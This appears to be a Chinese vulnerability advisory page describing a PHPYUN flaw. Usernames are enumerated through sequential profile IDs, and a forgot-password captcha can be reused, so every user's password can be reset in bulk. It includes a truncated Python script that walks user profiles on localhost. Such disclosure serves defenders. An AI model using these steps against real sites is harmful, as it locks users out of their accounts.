PHPYUN设计缺陷可批量重置全部用户密码

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 不过重置成了什么我也不知道。 但如果有一天,一个网站所有用户密码全部被重置成随机字符了,所有遗失邮箱的用户就完全丢失自己的账号了。就算没有遗失邮箱,但莫名其妙地被重置密码了,谁会开心? ### 详细说明: 0x01. 访问链接friend/index.php?C=profile&id=1可以查看uid=1的用户的信息,其中就有用户名。 因为uid是数字,所以存在遍历的可能,我可以写一个脚本,把数据库中所有用户用户名遍历出来。 0x02. 访问index.php?M=forgetpw&sendpw,把获得的所有用户名一一POST到这里。其中需要验证验证码,但验证码因为没有删除SESSION,所以形同虚设。只要第一次输入一个即可。 0x03. POST完后就结束了。。。所有用户的密码都重置成随机字符串了。 ### 漏洞证明: 首先,我简单写了一个遍历phpyun网站中所有用户的脚本: ``` #!/usr/bin/python # -*- coding: utf-8 -*- __author__ = 'Phith0n' import requests, re headers = {'Cookie': 'PHPSESSID=de2a1aec530176b35502b300d006f1f2; uid=5; username=test3;' \ ' salt=cb6a81; email=asd%40as.com; shell=28a359ac7e1d8c9de109d427f055db50; usertype=1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0' } user = [] for i in range(10): url = 'http://localhost/phpyun/friend/index.php?C=profile&id=%d' % i resp = requests.get(url, headers = headers).content.decode('gbk').encode('utf-8') grp = re.search(r'<strong>(.+)の个人主页</strong>',...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息